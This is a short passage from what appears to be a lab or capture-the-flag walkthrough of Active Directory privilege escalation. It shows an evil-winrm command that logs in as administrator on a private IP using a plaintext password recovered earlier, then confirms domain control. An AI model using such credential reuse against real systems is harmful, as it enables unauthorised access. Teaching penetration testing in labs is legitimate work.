# 13. Reuse Administrator Credentials

Now that you’ve found **plaintext credentials** for the `administrator` user (`d0m@in_c0ntr0ll3r`), you can log in with full SYSTEM-level control.

#### 🛠 Command to connect using WinRM:

```bash
evil-winrm -i 192.168.10.4 -u 'administrator' -p 'd0m@in_c0ntr0ll3r'
```

#### 🔎 After login:

* Run `whoami` → should return `nt authority\system` or `megachange\administrator`
*   Run `hostname` → confirms the machine name\


    <figure><img src="https://579311808-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FncZU5ncqqrt7qhD7DZRg%2Fuploads%2FUtdS8GnZPAYTUtn3aBeT%2Fimage.png?alt=media&#x26;token=e073bb1f-167a-41e7-ad3f-de2a00972d99" alt=""><figcaption></figcaption></figure>

⚠️ **Important:** You now have **full domain control**. Be careful not to alter or break anything unless that’s part of your objective.

This is usually the final step in an Active Directory privilege escalation path.
